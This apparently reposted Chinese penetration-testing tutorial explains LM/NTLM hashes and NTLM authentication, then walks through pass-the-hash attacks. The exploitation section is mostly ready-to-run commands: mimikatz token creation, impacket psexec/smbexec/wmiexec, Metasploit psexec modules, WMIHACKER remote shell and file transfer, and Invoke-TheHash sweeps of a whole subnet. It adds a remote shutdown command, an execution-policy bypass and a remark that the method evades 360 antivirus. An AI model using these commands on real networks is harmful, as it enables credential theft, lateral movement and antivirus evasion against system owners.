一.前言
pth
(pass-the-hash)哈希传递攻击在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过
LM Hash
和
NTLM Hash
访问远程主机或服务,而不用提供明文密码
这类攻击适用于:
- 域/工作组环境
- 账号hash
- 内网中存在和当前机器相同的密码
(ps:微软打了KB22871997补丁后只有Administrator(SID 500)可以PTH成功,默认windows server 2012后都会存在补丁)
注意:打了KB22871997补丁后,不是sid 500的用户,pth的时候会提示权限不足,如图所示:
二.NTLM认证
2.1 Lmhash和ntlmhash
正常
mimimatz
dump的hash如下:
格式:
user:sid:Lmhash:ntlmhash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Lmhash
- 明文字段经过处理后使用
des
算法进行加密形成Lmhash
- 密码小于15为字符才能生成
lmhash
密文
由于Lmhash加密算法薄弱易被破解,微软从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash。
因为在vista后不再支持lmhash,所以后面版本的windows抓到的hash中的lmhash字段都是
aad3b435b51404eeaad3b435b51404ee
(空密码)
ntlmhash
为了解决lmhash强度不够的问题,微软推出了
ntlmhash
:
加密流程如下:
- 先将用户密码转换为十六进制格式
- 将十六进制格式的密码进行Unicode编码
- 使用MD4对Unicode编码数据进行Hash计算,形成
ntmlhash
密文字段
2.2 NTLM认证方式
NTLM认证采用质询/应答(Challenge/Response)的消息交换模式。NTLM既可用于域环境下的身份认证,也可以用于没有域的工作组环境。主要有本地认证和网络认证两种方式
本地认证
用户登陆windows时,windows首先会调用
winlogon.exe
进程接收用户输入的密码,之后密码会被传递给
lsass.exe
进程,进程会先在内存中存储一份明文密码,并将密码加密为NTLM hash,与本地SAM数据库中用户的NTLM hash对比,一致则登陆成功
网络认证
以域环境中NTLM网络认证流程举例:
- 首先用户输入正确用户密码登陆到客户端主机,用户想要访问某个服务器的服务,客户端先发送一个包含用户名明文的数据包给服务器,发起认证请求;
- 服务器生成一个随机数,称为Challenge,返回给客户端;
- 客户端接收到Challenge后,用密码hash加密,生成Response(net-ntlmhash),发送给服务;
- 服务将Response、用户名、Challenge发送给域控验证。域控使用本地数据库(NTDS.dit)中保存的对应用户的NTLM hash对Challenge进行加密,得到的结果与Response进行对比,一致则认证成功。然后将认证结果返回给服务端;
2.3 ntlm认证流程
1、客户端向服务端发起认证
2、服务器收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。并使用登录用户密码hash加密Challenge,获得Challenge1
3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得response
Challenge2
(这个结果被称为
net-ntlmhash
),将response发送给服务器。其中
net-ntlmhash
字段可以做hash破解和relay攻击。
4、服务器接收客户端加密后的response,比较Challenge1和Challenge2,如果相同,验证成功
response:
三.利用
3.1 利用
mimikatz
进行hash传递
privilege::debug
#/domain:目标地址,/ntlm参数需要为ntlmhash值
#创建访问令牌
sekurlsa::pth /user:administrator /domain:192.168.4.26 /ntlm:47bf8039a8506cd67c524a03ff84ba4e
会重新打开本地的cmd窗口,pth成功无需认证建立ipc共享,可以使用psexec或者wmi进行远程命令执行
在
cobaltstrike
会话中,也可以先利用mimikatz创建访问令牌,然后使用
steal_token
窃取令牌获取权限
3.2 利用impacket套件
https://github.com/SecureAuthCorp/impacket
#-hashes Lmhash:ntlmhash
#只用445端口,会创建服务,命令执行结束后会删除服务
python psexec.py -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e [email protected] "ipconfig"
python smbexec.py -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e [email protected]
#用445和135端口,通过wmic方式执行命令
python wmiexec.py -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e [email protected] "ipconfig"
3.3 metasploit psexec模块
metasploit
有二个pse的模块
exploit/windows/smb/psexec
#Powershell 版本的 psexec
exploit/windows/smb/psexec_psh
metasploit获取到目标的session会话后,可通过添加路由表,让
metasploit
的网络通过已获取到的主机(session)出去
msf添加路由表:
利用psh模块进行hash传递攻击
#smbpass参数可以为明文,也可以为hash。当为hash的时候,格式为Lmhash:ntlmhash
set smbpass f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
3.4 WMIHACKER套件
WMIHACKER
WMIHACKER
用的是135端口,wmic方式执行命令
#有命令回显执行方式
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
#无命令回显
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
#模拟shell模式
cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
#文件上传-复制本机calc.exe到远程主机c:\calc.exe
cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
#文件下载-下载远程主机calc.exe到本地c:\calc.exe
cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
#使用hash进行认证,需要配合mimikatz的pth功能进行使用。先使用mimikataz创建访问令牌。
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 - - "systeminfo > c:\1.txt" 0
利用获取到的的账号密码进行pth
**利用
ntlm hash
进行pth**
利用
ntlm hash
进行pth的时候,先使用
mimikatz
创建访问令牌
**利用
ntlm hash
进行pth,获取shell会话**
可以绕过杀软,经测试360没有反应
3.5 Invoke-TheHash
https://github.com/Kevin-Robertson/Invoke-TheHash
模块参数说明:
1.Invoke-TheHash模块
#-TargetExclude:要排除的IP地址
#-Domain:域名,如果是工作组可以省略该参数
#-Hash:指定的hash指,类型可以为ntlm或LM:ntlm
#-type:指定调用的函数,值:SMBClient,SMBEnum,SMBExec,WMIExec
powershell -exec bypass //进入powershell窗口。exec bypass表示将powershell的执行策略设置为bypass,运行任何脚本运行。相当于get-ExecutionPolicy ByPass
import-module .\Invoke-TheHash.ps1 //加载模块Invoke-TheHash.ps1
import-module .\Invoke-WMIExec.ps1 //加载模块Invoke-WMIExec.ps1
#通过Invoke-TheHash模块调用WMIExec函数
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "whoami" -verbose
2.Invoke-WMIExec模块
powershell -exec bypass
import-module .\Invoke-WMIExec.ps1
#直接使用Invoke-WMIExec模块,通过wmic方式无回显执行命令,用135端口
Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "whoami" -verbose
3.Invoke-SMBExec模块
powershell -exec bypass
import-module .\Invoke-SMBExec.ps1
#使用 invoke-smbexec模块函数,通过smb方式无回显执行命令,用445端口
invoke-smbexec -Target 192.168.247.177 -username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "shutdown -s -t 800" -verbose
4.Invoke-SMBEnum模块
powershell -exec bypass
import-module .\Invoke-SMBEnum.ps1
#使用Invoke-SMBEnum模块函数,通过smb 2.1协议枚举所有的共享和用户信息
invoke-SMBEnum -Target 192.168.247.177 -username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "ipconfig" -verbose
5.Invoke-SMBClient模块
用于操作主机上的共享目录
四. 杀软
当目标主机存在杀软的时候,杀软会拦截
1.psexec
psexec
的时候会落地文件,创建服务
2.wmic
版权归原作者 supdon 所有, 如有侵权,请联系我们删除。